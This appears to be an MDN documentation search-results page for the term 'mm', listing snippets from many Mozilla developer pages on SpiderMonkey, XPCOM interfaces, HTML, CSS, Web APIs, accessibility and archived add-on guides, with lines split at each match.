mmediately restart a full, non-incremental gc in order to reclaim some memory and continue execution.
... the spidermonkey incremental write barrier spidermonkey uses a (relatively!) simple, co
mmon incremental write barrier called a snapshot-at-the-beginning allocate-black barrier.
...And 7 more matches
Introduction to the JavaScript shell
the javascript shell (js) is a co
mmand-line program included in the spidermonkey source distribution.
...you can also pass in, on the co
mmand line, a javascript program file to run, in which case the program is run automatically.
... after following the build documentation and installing the built shell using make install, you can run the shell in interactive mode using the co
mmand: js [ if you get " symbol lookup error: ./js: undefined symbol: pr_setcurrentthreadname" e.g.
...And 7 more matches
History Service Design
each visit is associated with a favicon, to allow for better recognizability and groupable by co
mmon timeframes or domains.
...the system should be customizable enough to allow creation of custom, calendar and graphical views based on queries executed through a co
mmon api upon underlying data.
... the querying system allows to extract slices of data based on co
mmon patterns, this is directly usable by the end user, but also by implementers to provide a variety of nice features.
...And 7 more matches
nsIController
content/xul/document/public/nsicontroller.idlscriptable an interface that can be implemented to receive and process co
mmands and events.
... inherits from: nsisupports last changed in gecko 1.7 method overview void doco
mmand(in string co
mmand); boolean isco
mmandenabled(in string co
mmand); void onevent(in string eventname); boolean supportsco
mmand(in string co
mmand); methods doco
mmand() when this method is called, your implementation should execute the co
mmand with the specified name.
... void doco
mmand( in string co
mmand ); parameters co
mmand the name of the co
mmand to execute.
...And 7 more matches
nsIMsgMessageService
dow amsgwindow, in nsiurllistener aurllistener, in string acharsetoverride, out nsiuri aurl); void openattachment(in string acontenttype, in string afilename, in string aurl, in string amessageuri, in nsisupports adisplayconsumer, in nsimsgwindow amsgwindow, in nsiurllistener aurllistener); void savemessagetodisk(in string amessageuri, in nsifilespec afile, in boolean ageneratedu
mmyenvelope, in nsiurllistener aurllistener, out nsiuri aurl, in boolean canonicallineending, in nsimsgwindow amsgwindow); void geturlforuri(in string amessageuri, out nsiuri aurl, in nsimsgwindow amsgwindow); void displaymessageforprinting(in string amessageuri, in nsisupports adisplayconsumer, in nsimsgwindow amsgwindow, in nsiurllistener aurllistener, out nsiuri aurl); ...
...void search(in nsimsgsearchsession asearchsession, in nsimsgwindow amsgwindow, in nsimsgfolder amsgfolder, in string asearchuri); nsiuri strea
mmessage(in string amessageuri, in nsisupports aconsumer, in nsimsgwindow amsgwindow, in nsiurllistener aurllistener, in boolean aconvertdata, in string aadditionalheader); nsiuri streamheaders(in string amessageuri, in nsistreamlistener aconsumer, in nsiurllistener aurllistener [optional] in boolean alocalonly); boolean ismsginmemcache(in nsiuri aurl, in nsimsgfolder afolder, out nsicacheentrydescriptor acacheentry); nsimsgdbhdr messageuritomsghdr(in string uri); methods copymessage() pass in the uri for the message you want to have copied.
... void savemessagetodisk(in string amessageuri, in nsifilespec afile, in boolean ageneratedu
mmyenvelope, in nsiurllistener aurllistener, out nsiuri aurl, in boolean canonicallineending, in nsimsgwindow amsgwindow); parameters amessageuri url representing the message to spool out to disk.
...And 7 more matches
Browser Console - Firefox Developer Tools
nb: the browser console co
mmand line (to execute javascript expressions) is disabled by default.
... you can also start the browser console by launching firefox from the co
mmand line and passing the -jsconsole argument: /applications/firefoxaurora.app/contents/macos/firefox-bin -jsconsole the browser console looks like this: you can see that the browser console looks and behaves very much like the web console: most of the window is occupied by a pane that display messages.
... at the bottom, a co
mmand line interpreter enables you to evaluate javascript expressions.
...And 7 more matches
Index - Firefox Developer Tools
found 158 pages: # page tags and su
mmary 1 firefox developer tools developing mozilla, guide, tools, web development, web development:tools, l10n:priority firefox developer tools is a set of web developer tools built into firefox.
... 41 dominators with a garbage-collected language, like javascript, the progra
mmer doesn't generally have to worry about deallocating memory.
... 127 search to search for a particular file, press control + p (or co
mmand + p on a mac) and type the search term.
...And 7 more matches
How whitespace is handled by HTML, CSS, and in the DOM - Web APIs
inside this context, whitespace character processing can be su
mmarized as follows: first, all spaces and tabs i
mmediately before and after a line break are ignored so, if we take our example markup from before and apply this first rule, we get: <h1>◦◦◦hello⏎ <span>◦world!</span>⇥◦◦</h1> next, all tab characters are handled as space characters, so the example becomes: <h1>◦◦◦hello⏎ <span>◦world!</span>◦◦◦</h1> ...
... next, line breaks are converted to spaces: <h1>◦◦◦hello◦<span>◦world!</span>◦◦◦</h1> after that, any space i
mmediately following another space (even across two separate inline elements) is ignored, so we end up with: <h1>◦hello◦<span>world!</span>◦</h1> and finally, sequences of spaces at the beginning and end of a line are removed, so we finally get this: <h1>hello◦<span>world!</span></h1> this is why people visiting the web page will simply see the phrase "hello world!" nicely written at the top of the page, rather than a weirdly indented "hello" followed but an even more weirdly indented "world!" on the line below that.
... </div> </body> we can su
mmarize how the whitespace here is handled as follows (the may be some slight differences in exact behavior between browsers, but this basically works): because we’re inside a block formatting context, everything must be a block, so our 3 text nodes also become blocks, just like the 2 <div>s.
...And 7 more matches
PerformanceNavigationTiming - Web APIs
the interface also supports the following properties: performancenavigationtiming.domcomplete read only a domhighrestimestamp representing a time value equal to the time i
mmediately before the browser sets the current document readiness of the current document to complete.
... performancenavigationtiming.domcontentloadedeventend read only a domhighrestimestamp representing the time value equal to the time i
mmediately after the current document's domcontentloaded event completes.
... performancenavigationtiming.domcontentloadedeventstart read only a domhighrestimestamp representing the time value equal to the time i
mmediately before the user agent fires the domcontentloaded event at the current document.
...And 7 more matches
Viewpoints and viewers: Simulating cameras in WebXR - Web APIs
note: most diagrams used in this article to show how the camera moves while performing standard movements was taken from an article on the fil
mmakeriq web site; namely, from this image which is found all over the web, however, and though we assume these are under a permissive license due to their frequent reuse, ownership is not certain.
...thus, instead of referring to an actual camera object, the term camera is used in webgl and webxr progra
mming to refer to an object describing the position and viewing direction of a hypothetical viewer of the scene, whether there's an actual object present in 3d space or not.
...some examples of ways 3d cameras are used: when rendering animation—whether for fil
mmaking or for use within the context of a presentation or game—the virtual camera is used just like a real-world film camera.
...And 7 more matches
Web Authentication API - Web APIs
web authentication concepts and usage the web authentication api (also referred to as webauthn) uses asy
mmetric (public-key) cryptography instead of passwords or sms texts for registering, authenticating, and second-factor authentication with websites.
...similar to the other forms of the credential management api, the web authentication api has two basic methods that correspond to register and login: navigator.credentials.create() - when used with the publickey option, creates new credentials, either for registering a new account or for associating a new asy
mmetric key pair credentials with an existing account.
...note most javascript progra
mmers that are creating an application will only really care about steps 1 and 5 where the create() function is called and subsequently returns; however, steps 2, 3, and 4 are essential to understanding the processing that takes place in the browser and authenticator and what the resulting data means.
...And 7 more matches
WindowOrWorkerGlobalScope.setInterval() - Web APIs
this syntax is not reco
mmended for the same reasons that make using eval() a security risk.
...lse, bstart = true, nidx = 0, spart = "", asheets = [], amap = []; this.rate = nrate || 100; this.play = function () { if (btyping) { return; } if (bstart) { var aitems = document.queryselectorall(sselector); if (aitems.length === 0) { return; } for (var nitem = 0; nitem < aitems.length; nitem++) { asheets.push(new sheet(aitems[nitem])); /* unco
mment the following line if you have previously hidden your elements via css: */ // aitems[nitem].style.visibility = "visible"; } bstart = false; } nintervid = setinterval(typewrite, this.rate); btyping = true; }; this.pause = function () { clearinterval(nintervid); btyping = false; }; this.terminate = function () { ocurrent.nodevalue += spart;...
...phasellus adipiscing fermentum nibh ac co
mmodo.
...And 7 more matches
Cognitive accessibility - Accessibility
though there is a lot of diversity within clinical definitions of cognitive impairments, people with them experience a co
mmon set of functional problems.
...if the time limit is longer than 20 hours, acco
mmodations are not required.
... link text conveys meaning the link's text should clearly and concisely co
mmunicate what the user should expect to be navigated to next if they choose to activate it.
...And 7 more matches
font-variant-ligatures - CSS: Cascading Style Sheets
syntax /* keyword values */ font-variant-ligatures: normal; font-variant-ligatures: none; font-variant-ligatures: co
mmon-ligatures; /* <co
mmon-lig-values> */ font-variant-ligatures: no-co
mmon-ligatures; /* <co
mmon-lig-values> */ font-variant-ligatures: discretionary-ligatures; /* <discretionary-lig-values> */ font-variant-ligatures: no-discretionary-ligatures; /* <discretionary-lig-values> */ font-variant-ligatures: historical-ligatures; /* <historical-lig-values> */ font-variant-ligatur...
... none this keyword specifies that all ligatures and contextual forms are disabled, even co
mmon ones.
... <co
mmon-lig-values> these values control the most co
mmon ligatures, like for fi, ffi, th or similar.
...And 7 more matches
<length> - CSS: Cascading Style Sheets
when used within the root element font-size, it represents its initial value (a co
mmon browser default is 16px, but user-defined preferences may modify this).
...the consequence of this definition is that on such devices, dimensions described in inches (in), centimeters (cm), or millimeters (
mm) don't necessary match the size of the physical unit with the same name.
... for high-dpi devices, inches (in), centimeters (cm), and millimeters (
mm) are the same as their physical counterparts.
...And 7 more matches
HTML attribute: multiple - HTML: Hypertext Markup Language
most browsers displaying a scrolling list box for a <select> control with the multiple attribute set versus a single line dropdown when the attribute is o
mmitted.
... the email input displays the same, but will match the :invalid pseudo-class if more than one co
mma-separated email address is included if the attribute is not present.
... when multiple is set on the email input type, the user can inlclude zero (if not also required), one or more co
mma-separated email addresses.
...And 7 more matches
HTML attribute reference - HTML: Hypertext Markup Language
checked <co
mmand>, <input> indicates whether the element should be checked on page load.
... class global attribute often used with css to style elements with co
mmon properties.
...allowed values are ltr (left-to-right) or rtl (right-to-left) dirname <input>, <textarea> disabled <button>, <co
mmand>, <fieldset>, <input>, <keygen>, <optgroup>, <option>, <select>, <textarea> indicates whether the user can interact with the element.
...And 7 more matches
<img>: The Image Embed element - HTML: Hypertext Markup Language
below is a list of the image formats that are most co
mmonly used on the web, as well as some older formats that should no longer be used, despite existing content possibly still using them.
... loading indicates how the browser should load the image: eager: loads the image i
mmediately, regardless of whether or not the image is currently within the visible viewport (this is the default value).
... sizes one or more strings separated by co
mmas, indicating a set of source sizes.
...And 7 more matches
<input type="email"> - HTML: Hypertext Markup Language
value a domstring representing an e-mail address, or empty events change and input supported co
mmon attributes autocomplete, list, maxlength, minlength, multiple, name,pattern, placeholder, readonly, required, size, and type idl attributes list and value methods select() value the <input> element's value attribute contains a domstring which is automatically validated as conforming to e-mail syntax.
... if and only if the multiple attribute is specified, the value can be a list of properly-formed co
mma-separated e-mail addresses.
...ibutes: attribute description list the id of the <datalist> element that contains the optional pre-defined autocomplete options maxlength the maximum number of characters the input should accept minlength the minimum number of characters long the input can be and still be considered valid multiple whether or not to allow multiple, co
mma-separated, e-mail addresses to be entered pattern a regular expression the input's contents must match in order to be valid placeholder an exemplar value to display in the input field whenever it is empty readonly a boolean attribute indicating whether or not the contents of the input should be read-only size a number indicating how many characters...
...And 7 more matches
Using the application cache - HTML: Hypertext Markup Language
cache manifest # v1 - 2011-08-13 # this is a co
mment.
... the "v1" co
mment in the example above is there for a good reason.
...you can make any change you want to the manifest file, but revising a version number is the reco
mmended best practice.
...And 7 more matches
Codecs used by WebRTC - Web media technologies
the webrtc api makes it possible to construct web sites and apps that let users co
mmunicate in real time, using audio and/or video as well as optional data and other information.
... to co
mmunicate, the two devices need to be able to agree upon a mutually-understood codec for each track so they can successfully co
mmunicate and present the shared media.
... while compression is always a necessity when dealing with media on the web, it's of additional importance when videoconferencing in order to ensure that the participants are able to co
mmunicate without lag or interruptions.
...And 7 more matches
page-mod - Archive of obsolete content
co
mmunicating with content scripts your add-on's "main.js" can't directly access the state of content scripts you load, but you can co
mmunicate between your add-on and its content scripts by exchanging messages.
... to learn much more about co
mmunicating with content scripts, see the guide to content scripts and in particular the chapter on co
mmunicating using port.
...the scripts are executed i
mmediately.
...And 6 more matches
Getting started (cfx) - Archive of obsolete content
this tutorial walks through creating a simple add-on using the cfx co
mmand-line tool.
...once you've done that, you'll be looking at a co
mmand prompt.
... initializing an empty add-on in the co
mmand prompt, create a new directory.
...And 6 more matches
Appendix C: Avoiding using eval in Add-ons - Archive of obsolete content
this article is aimed at presenting alternatives to co
mmon eval uses in add-ons and other javascript code.
... overriding/extending/amending existing functions a co
mmon thing add-ons do during their initialization is overriding/extending existing browser functions by using function.tostring/function.tosource and eval to "string-patch" the function body.
... // wrap in an anonymous function (which is called i
mmediately).
...And 6 more matches
Inner-browsing extending the browser navigation paradigm - Archive of obsolete content
this model of web navigation is so co
mmon that most internet users do little else.
...html and web standards have evolved and now offer flexible and fine-grained control to layout as well supporting dhtml, powerful progra
mming languages like javascript, and additional media through embeddable third-party resources like flash, java, vrml, etc.
...in other words, the page is the browsing device during the experience, and the user is "i
mmersed" in that browsing device.
...And 6 more matches
Source code directories overview - Archive of obsolete content
introduction: co
mmon subdirectories a co
mmon naming scheme is used throughout the mozilla source trees.
...the third level is where the co
mmon naming scheme usually takes over.
...although not required, these co
mmon names are typically used for a co
mmon purpose.
...And 6 more matches
The new nsString class implementation (1999) - Archive of obsolete content
no one has ever devised one that more than 2 progra
mmers can agree on.
...this very useful class allows progra
mmers to take advantage of the nsstring/nsstrimpl implementation, while eliminating heap based allocations.
...this will allow progra
mmers to use the nsstring api's like a standard char* without incurring the 2-byte per character overhead.
...And 6 more matches
XUL Structure - Archive of obsolete content
to su
mmarize the points made above: mozilla renders both html and xul using the same underlying engine and uses css to specify their presentation.
...these are the -chrome co
mmand line argument and the chrome modifier to the window.open() function.
...you will co
mmonly use this feature in more complex xul applications since you wouldn't want the browser ui to exist around your dialog boxes.
...And 6 more matches
button - Archive of obsolete content
attributes accesskey, autocheck, checkstate, checked, co
mmand, crop, dir, disabled, dlgtype, group, icon, image, label, open, orient, tabindex, type properties accesskey, accessibletype, autocheck, checkstate, checked, co
mmand, crop, dir, disabled, dlgtype, group, image, label, open, orient, tabindex, type examples <button label="press me" onco
mmand="alert('you pressed me!');"/> attributes accesskey type: character this sho...
... co
mmand type: id set to the id of a co
mmand element that is being observed by the element.
...if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire.
...And 6 more matches
splitter - Archive of obsolete content
the vbox is used to hold the .png image that a user clicks on to resize the search bar.--> <splitter tooltiptext="resize the search box" onco
mmand="alert('the splitter was dragged')"> <vbox id="example_vbox" /> </splitter> attributes collapse type: one of the values below determines which side of the splitter is collapsed when its grippy is clicked.
... before when the grippy is clicked, the element i
mmediately before the splitter in the same parent is collapsed so that its width or height is 0.
... after when the grippy is clicked, the element i
mmediately after the splitter in the same parent is collapsed so that its width or height is 0.
...And 6 more matches
XULRunner 1.8.0.1 Release Notes - Archive of obsolete content
installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the zip file to a new directory using a archive tool (7zip is reco
mmended).
... the following directory is reco
mmended: c:\program files\mozilla xulrunner\1.8.0.1 .
... to register xulrunner with the system, open a co
mmand prompt and run xulrunner.exe --register-global (to register for all users) or xulrunner.exe --register-user (to register for one user only).
...And 6 more matches
Extentsions FAQ - Archive of obsolete content
return to mozilla-dev-extensions faq friday, september 22 - 29, 2006 (↑ top) how to write an xpcom component in c++ that can co
mmunicate to a com component?
... these two links should give you a starting point: http://www..xulplanet.com/tutorials/...u/advmenu.html http://www.xulplanet.com/tutorials/x...do
mmodify.html request for a thunderbird extension that can automatically detect the default domain when composing e-mails via autodetect.
... <https://bugzilla.mozilla.org/show_bug.cgi?id=312818> "thunderbird requires domain in addresses and doesn't always add default" there is an extension that allows what you want attached to one of the co
mments in this bug.
...And 6 more matches
Building a Theme - Archive of obsolete content
an example of the content within a typical xpi file for a theme: example.xpi: /install.rdf /chrome.manifest /preview.png /icon.png /chrome/ browser/ co
mmunicator/ global/ mozapps/ we'll want to create a file structure similar to the one above for our tutorial, so let's begin by creating a folder for your theme somewhere on your hard disk (e.g.
... browser to chrome/browser/ co
mmunicator to chrome/co
mmunicator/ you should end up with this directory structure: <ext path>/ /install.rdf /chrome.manifest /chrome/ browser/ co
mmunicator/ global/ mozapps/ after this, it would be a good idea to read the article setting up extension development environment and follow the directio...
... if you get a message that the install.rdf is malformed, it is helpful to load it into firefox using the file->open file co
mmand and it will report xml errors to you.
...And 6 more matches
Using SSH to connect to CVS - Archive of obsolete content
the following co
mmand should generate a suitable key pair: ssh-keygen -t dsa this will take a moment, followed by a prompt for a passphrase.
... if you are behind a firewall with an http tunneling proxy, you can use a program called corkscrew, in combination with the proxyco
mmand ssh config directive to continue to access the mozilla cvs server.
...corkscrew uses the standard "./configure; make install" technique co
mmon to many open source projects.
...And 6 more matches
Mobile accessibility - Learn web development
su
mmary of screenreader testing on android and ios the most co
mmon mobile platforms have fully functional screen readers.
... using the rotor when voiceover is turned on, you have a navigation feature called the rotor available to you, which allows you to quickly choose from a number of co
mmon useful options.
... in particular, the most co
mmon problems that need to be addressed for mobile are: suitability of layouts for mobile devices.
...And 6 more matches
WAI-ARIA basics - Learn web development
for example, html5 introduced a number of semantic elements to define co
mmon page features (<nav>, <footer>, etc.) before these were available, developers would simply use <div>s with ids or classes, e.g.
... <div class="nav">, but these were problematic, as there was no easy way to easily find a specific page feature such as the main navigation progra
mmatically.
...role="navigation" (<nav>) or role="complementary" (<aside>), but there are also others that describe different pages structures, such as role="banner", role="search", role="tabgroup", role="tab", etc., which are co
mmonly found in uis.
...And 6 more matches
What is accessibility? - Learn web development
some screen reader examples include: some are paid co
mmercial products, like jaws (windows) and dolphin screen reader (windows).
...importantly, though there is a lot of diversity within clinical definitions of cognitive impairments, people with them experience a co
mmon set of functional problems.
...citizens have a disability and, of them, cognitive impairment is the most co
mmon for young people.
...And 6 more matches
Document and website structure - Learn web development
it's a place to put co
mmon information (like the header) but usually, that information is not critical or secondary to the website itself.
...if]--> </head> <body> <!-- here is our main header that is used across all the pages of our website --> <header> <h1>header</h1> </header> <nav> <ul> <li><a href="#">home</a></li> <li><a href="#">our team</a></li> <li><a href="#">projects</a></li> <li><a href="#">contact</a></li> </ul> <!-- a search form is another co
mmmon non-linear way to navigate through a website.
...all rights reversed.</p> </footer> </body> </html> take some time to look over the code and understand it — the co
mments inside the code should also help you to understand it.
...And 6 more matches
Client-Server Overview - Learn web development
previous overview: first steps next now that you know the purpose and potential benefits of server-side progra
mming we're going to examine in detail what happens when a server receives a "dynamic request" from a browser.
...this discussion is however still very relevant, because the described behaviour must be implemented by your server-side code, irrespective of which progra
mming language or web framework you select.
... web servers and http (a primer) web browsers co
mmunicate with web servers using the hypertext transfer protocol (http).
...And 6 more matches
Using Vue computed properties - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/co
mmand line.
... using computed properties the aim here is to add a su
mmary count of our to-do list.
...if we have 2 of 5 items completed in our to-do list, our su
mmary could read "3 items completed out of 5".
...And 6 more matches
Mozilla accessibility architecture
this page is maintained by aaron leventhal and by the mozilla accessibility co
mmunity.
...accessibility apis on each operating system have built-in assumptions about what is the most important information, and how an accessibility server like mozilla should use the api's progra
mmatic interfaces to expose this information to an accessibility client (the assistive technology).
... each platform's accessibility api has made different assumptions, although there are a number of co
mmon characteristics.
...And 6 more matches
How Mozilla's build system works
the contents below will explain the basic concepts and terminology of the build system and how to do co
mmon tasks such as compiling components and creating jar files.
... config.status contains 2 parts: data structures representing the output of configure and a co
mmand-line interface for preparing, configuring, or generating an appropriate build backend.
... to view information about the tiers, you can execute the following special make targets: co
mmand effect make echo-tiers show the final list of tiers.
...And 6 more matches
Displaying Places information using views
it also contains the built-in places context menu and co
mmands, which you may want to take advantage of in your own uses of the views.
...the following stylesheet is optional and only applies styles and icons to the built-in tree view: <?xml-stylesheet href="chrome://browser/skin/places/places.css" ?> for examples of instantiating a tree view from javascript rather than xul, see progra
mmatic generation of the built-in tree view.
... var treeviewview = treeview.view; convenience methods because the built-in tree view is both widely used and complex, several convenience methods are implemented directly on it to make co
mmon tasks easier.
...And 6 more matches
Add-on Repository
the api also offers two ways to search for and retrieve an array of addon instances: retrievereco
mmendedaddons(), which returns a list of reco
mmended add-ons, and searchaddons(), which performs a search of the repository.
...a new search will i
mmediately fail if the addonrepository is already handling another search request.
... to import the add-on repository code module, use: components.utils.import("resource://gre/modules/addonrepository.jsm"); method overview string getreco
mmendedurl() string getsearchurl(in string searchterms) void cancelsearch() void retrievereco
mmendedaddons(in integer maxresults, in searchcallback callback) void searchaddons(in string searchterms, in integer maxresults, in searchcallback callback) properties property type description homepageurl string the url of the repository site's home page.
...And 6 more matches
Downloads.jsm
to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/downloads.jsm"); method overview promise<download> createdownload(object aproperties); promise<void> fetch(asource, atarget, [optional] object aoptions); promise<downloadlist> getlist(atype); promise<downloadsu
mmary> getsu
mmary(atype); constants constant description public work on downloads that were not started from a private browsing window.
...some of the most co
mmon properties in this object include: source: string containing the uri for the download source.
... this download method does not provide user interface or the ability to cancel or restart the download progra
mmatically.
...And 6 more matches
Interfacing with the Add-on Repository
this article provides some sample code that queries the reco
mmended add-ons list on amo and lets the user click a button to install an add-on from the list.
... enabling the reco
mmendation feature in current builds of firefox 4, the reco
mmendation api doesn't work because the preference for the url to query to get reco
mmended add-ons is not included by default; see bug 628785.
... to make the service work for the time being, you can use code like this when your extension starts up: var prefsservice = components.classes["@mozilla.org/preferences-service;1"] .getservice(components.interfaces.nsiprefservice); var prefbranch = prefsservice.getbranch("extensions."); var recurl = ""; try { recurl = prefbranch.getcharpref("getaddons.reco
mmended.url"); } catch(e) { recurl = ""; } if (recurl == "") { prefbranch.setcharpref("getaddons.reco
mmended.url", "https://services.addons.mozilla.org/%locale%/%app%/api/%api_version%/list/reco
mmended/all/%max_results%/%os%/%version%?src=firefox"); prefsservice.savepreffile(null); } this fetches the value of the extensions.getaddons.reco
mmended.url preference, and, if the preference ...
...And 6 more matches
PromiseWorker.jsm
su
mmary a promiseworker is a chromeworker except instead of calling postmessage() to send a message, you call post(), which returns a promise.
... promiseworker.jsm path: resource://gre/modules/promiseworker.jsm a javascript code module used by the main thread to create a worker thread and co
mmunicate with it.
... promiseworker.js path: resource://gre/modules/workers/promiseworker.js a javascript file used by the worker thread, which is created by promiseworker.jsm in main thread, to co
mmunicate with the main thread.
...And 6 more matches
Using JavaScript code modules
creating a javascript code module a very simple javascript module looks like this: var exported_symbols = ["foo", "bar"]; function foo() { return "foo"; } var bar = { name : "bar", size : 3 }; var du
mmy = "du
mmy"; notice that the module uses normal javascript to create functions, objects, constants, and any other javascript type.
...for example: components.utils.import("resource://app/my_module.jsm"); alert(foo()); // displays "foo" alert(bar.size + 3); // displays "6" alert(du
mmy); // displays "du
mmy is not defined" because 'du
mmy' was not exported from the module note: when you're testing changes to a code module, be sure to change the application's build id (e.g., the version) before your next test run; otherwise, you may find yourself running the previous version of your module's code.
... examples a template to download and edit is seen here on github - gists - _template-bootstrapjsm.xpi extending resource: urls prior to gecko 2.0, the most co
mmon way to load code modules was using resource: urls.
...And 6 more matches
MathML Demo: <mo> - operator, fence, separator, or accent
this growth is continuous and sy
mmetric.
...2 2 ⌋ ⌈ k 1 2 2 ⌉ | k 1 2 2 | ∥ k 1 2 2 ∥ and / k 1 2 2 / \ k 1 2 2 \ ↕ k 1 2 2 ↕ ⇕ k 1 2 2 ⇕ ↑ k 1 2 2 ↑ ⇑ k 1 2 2 ⇑ ↓ k 1 2 2 ↓ ⇓ k 1 2 2 ⇓ generally, it is safest to script all attributes that configure an <mo> as a fence (fence, stretchy, sy
mmetric, lspace, rspace).
... ( m m ) m { m m } m ⟨ m m ⟩ m | m m | m m m [ m m m ] + ( m m ) + { m m } + ⟨ m m ⟩ + | m m | m m m [ m m m ] ( m m ) { m m } ⟨ m m ⟩ | m m | m m in latex, all fencing symbols are sy
mmetric - they have equal extent above and below the math axis of the run of math in which they occur directly.
...And 6 more matches
Profiling with Xperf
to see your xperf version, either run 'xperf' on a co
mmand line with no arguments, or start 'xperfview' and look at help -> about performance analyzer.
...just make sure you set the symbol paths before enabling "load symbols" and before opening a su
mmary view.
...if you change it within the program, you'll have to close all su
mmary tables and reopen them for it to pick up the new symbol path data.
...And 6 more matches
Patches and pushes
>yahoo search</description> <inputencoding>utf-8</inputencoding> <image width="16" height="16">data:image/x-icon;base64,r0lgodlheaaqajecap8aaaaaap///waaach5baeaaaialaaaaaaqabaaaaipli+py+0nogquybdened2khkffwuamezmpzsfmaihphrrguum/ft+uwaaow==</image> ***this tag is optional***<url type="application/x-suggestions+json" method="get" template="http://ff.search.yahoo.com/gossip?output=fxjson&co
mmand={searchterms}" />*** <url type="text/html" method="get" template="http://search.yahoo.com/search"> <param name="p" value="{searchterms}"/> <param name="ei" value="utf-8"/> <mozparam name="fr" condition="pref" pref="yahoo-fr" /> </url> <searchform>http://search.yahoo.com/</searchform> </searchplugin> create xml files for each search plugin preference following the above example.
... create a patch of the searchplugins directory by entering the following co
mmand in your co
mmand-line tool, where mypatch.diff is where you give your patch a name: $ hg add mozilla/browser/searchplugins/ $ hg diff mozilla/browser/searchplugins/ > mypatch.diff attach your patch file to the bug by clicking the "add an attachment" link.
... review, co
mmit, & land address any review co
mments made by the reviewers and update the patch until it receives an r+ rating.
...And 6 more matches
NSS Tools pk12util
synopsis pk12util -i p12file [-h tokenname] [-v] [co
mmon-options] or pk12util -o p12file -n certname [-c keycipher] [-c certcipher] [-m | --key_len keylen] [-n | --cert_key_len certkeylen] [co
mmon-options] or pk12util -l p12file [-h tokenname] [-r] [co
mmon-options] where [co
mmon-options] = [-d dir] [-p dbprefix] [-k slotpasswordfile | -k slotpassword] [-w p12filepasswordfile | -w p12filepassword] syntax to run the pkcs #12 tool, type ther...
... co
mmand pk12util option [arguments] where option and arguments are combinations of the options and arguments listed in the following section.
... three of the options, -i, -o, and -l, should be considered co
mmands of the pk12util invocation.
...And 6 more matches
SpiderMonkey Build Documentation
mkdir build_opt.obj cd build_opt.obj /bin/sh ../configure.in # use "mozmake" on windows make a few notes about this: the most co
mmon build problems are dependency problems.
...refer the release notes under co
mmand line tools -> new features the release notes also states that this compatibility package will no longer be provided in the near future, so the build system on macos will have to be adapted to look for headers in the sdk until then, the following should help, open /library/developer/co
mmandlinetools/packages/macos_sdk_headers_for_macos_10.14.pk this builds an executable named js in the ...
... on mac, linux, or unix, you can install spidermonkey on your system with the additional co
mmand make install.
...And 6 more matches
A Web PKI x509 certificate primer
one issue that is not co
mmonly known is that the x509 trust graph is not a forest (a bunch of trees where each root is a trusted root) but a cyclic graph, where the same key/issuer can be a root or an intermediate for another root in the browsers key store (when roots create intermediates for each other it is called cross-signing).
...generate the key using the following co
mmand: openssl genpkey -algorithm rsa -out key.pem -pkeyopt rsa_keygen_bits:2048 2048 is considered secure for the next 4 years.
...generate csr using this co
mmand: openssl req -new -key key.pem -days 1096 -extensions v3_ca -batch -out example.csr -utf8 -subj '/cn=www.example.com' this creates a new certificate signing request (csr) that will be valid for 3 years.
...And 6 more matches
Setting up an update server
there are two co
mmon ways to obtain a mar to use: download a prebuilt one, or build one yourself.
...these changes will need to be made in order to use the locally built mar: put this line in the mozconfig file in root of the build directory (create it if it does not exist): ac_add_options --disable-verify-mar several files contain a line that must be unco
mmented.
...delete the # at the beginning of the line to unco
mment it.
...And 6 more matches
Introduction to XPCOM for the DOM
i reco
mmend that book to all the beginners out there.
... interfaces object-oriented progra
mming is based on the used of inheritance between classes.
...indeed, many interfaces in the mozilla code are frozen (this is indicated by the co
mment @frozen at the beginning of the interface definition).
...And 6 more matches
Observer Notifications
if your component requires access to the user profile, or any services which require access to the profile (preferences, bookmarks, and so on) then a co
mmon pattern is to register with the nsicategorymanager for the app-startup topic which can be done in the component's registration code, and then in that notification register with the observer service for the profile-after-change notification.
... topic subject data description chrome-document-global-created nsidomwindow null sent i
mmediately after a chrome document window has been set up, but before any script code has been executed.
... content-document-global-created nsidomwindow origin sent i
mmediately after a web content document window has been set up, but before any script code has been executed.
...And 6 more matches
nsIMsgDatabase
mailnews/db/msgdb/public/nsimsgdatabase.idlscriptable please add a su
mmary to this article.
... last changed in gecko 1.9 (firefox 3) inherits from: nsidbchangeannouncer method overview void open(in nsilocalfile afoldername, in boolean acreate, in boolean aleaveinvaliddb); void forcefolderdbclosed(in nsimsgfolder afolder); void close(in boolean aforceco
mmit); void co
mmit(in nsmsgdbco
mmit co
mmittype); void forceclosed(); void clearcachedhdrs; void resethdrcachesize(in unsigned long size); nsimsgdbhdr getmsghdrforkey(in nsmsgkey key); nsimsgdbhdr getmsghdrformessageid(in string messageid); boolean containskey(in nsmsgkey key); nsimsgdbhdr createnewhdr(in nsmsgkey key); void addnewhdrtodb(in nsimsgdbhdr newhdr, in boolean notify); nsimsgdbhdr copyhdrfromexistinghdr(in nsmsgkey key, in nsimsgdbhdr existinghdr, in boolean addhdrtodb); void listallkeys(in ...
... void deletemessage(in nsmsgkey key, in nsidbchangelistener instigator, in boolean co
mmit); void deleteheader(in nsimsgdbhdr msghdr, in nsidbchangelistener instigator,in boolean co
mmit, in boolean notify); void removeheadermdbrow(in nsimsgdbhdr msghdr); void undodelete(in nsimsgdbhdr msghdr); void markmarked(in nsmsgkey key, in boolean mark, in nsidbchangelistener instigator); void markoffline(in nsmsgkey key, in boolean offline, in nsidbchangelistener instigator); void ...
...And 6 more matches
Plug-in Basics - Plugins
with the plug-in api, you can create dynamically loaded plug-ins that can: register one or more mime types draw into a part of a browser window receive keyboard and mouse events obtain data from the network using urls post data to urls add hyperlinks or hotspots that link to new urls draw into sections on an html page co
mmunicate with javascript/dom from native code you can see which plug-ins are installed on your system and have been properly associated with the browser by consulting the installed plug-ins page.
... advanced: you can determine which directories a gecko program checks with the linux strace co
mmand, for example: strace -e open /usr/bin/firefox 2>&1 | grep plugin but with version firefox-41.0.2 we can not check.
...i checked also this co
mmand with above script (with environment variable) on my system and also working.
...And 6 more matches
HTMLTableElement - Web APIs
if a correct object is given, it is inserted in the tree i
mmediately before the first element that is neither a <caption>, nor a <colgroup>, or as the last child if there is no such element, and the first <thead> that is a child of this element is removed from the tree, if any.
...if a correct object is given, it is inserted in the tree i
mmediately before the first element that is neither a <caption>, a <colgroup>, nor a <thead>, or as the last child if there is no such element, and the first <tfoot> that is a child of this element is removed from the tree, if any.
... htmltableelement.su
